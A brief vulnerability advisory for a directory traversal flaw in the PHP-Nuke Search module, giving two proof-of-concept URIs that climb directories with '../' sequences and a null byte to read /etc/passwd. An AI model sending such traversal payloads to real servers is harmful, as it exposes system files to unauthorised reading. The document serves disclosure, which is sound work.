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PHPNuke Modules.PHP Search Module Remote Directory Traversal Vulnerability

An exploit is not required.

Proof of concept URI have been provided:

http://www.example.com/[nuke_dir]/modules.php?name=Search&file=../../../../../../../../../etc/passwd%00

http://www.example.com/[nuke_dir]/modules.php?name=Search&file=../Forums/viewtopic&phpEx=../../../.
./../../etc/passwd